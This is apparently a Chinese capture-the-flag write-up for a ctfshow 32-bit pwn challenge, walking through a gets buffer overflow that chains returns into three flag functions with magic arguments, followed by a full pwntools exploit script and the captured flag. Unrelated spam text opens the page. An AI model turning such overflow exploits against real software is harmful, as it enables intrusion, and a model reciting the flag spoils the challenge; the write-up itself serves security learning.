成都建设网站报价/百度总部在哪里
你是我的谁,我的我是你的谁
32 位程序,开启 NX 保护
看主函数
跟进 ctfshow 函数
gets 存在溢出
注意到有三个与 flag 相关的函数
先看 flag 函数
输出 flag 的条件:
if ( flag1 && flag2 && a1 == 0xBDBDBDBD )
看 flag_func1 函数
会直接将 flag1 置 1
看 flag_func2 函数
flag2 置 1 的条件
if ( flag1 && a1 == 0xACACACAC )
那么思路就很清晰了,溢出后先跳到 flag_func1,将 flag1 置 1
再跳到 flag_func2,满足条件让 flag2 置 1
最后跳到 flag 函数,满足条件读取打印 flag
写 exp:
# @author:My6n
# @time:20250614
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28295)elf = ELF('./pwn')
flag_addr = elf.sym['flag']
flag1_addr = elf.sym['flag_func1']
flag2_addr = elf.sym['flag_func2']payload = cyclic(0x2c+4)
payload += p32(flag1_addr)
payload += p32(flag2_addr)
payload += p32(flag_addr)
payload += p32(0xACACACAC) + p32(0xBDBDBDBD)io.sendlineafter('Input your flag: ',payload)io.interactive()
没有问题
拿到 flag: ctfshow{e4a15f8b-48a0-46ce-9783-7fa48bef281a}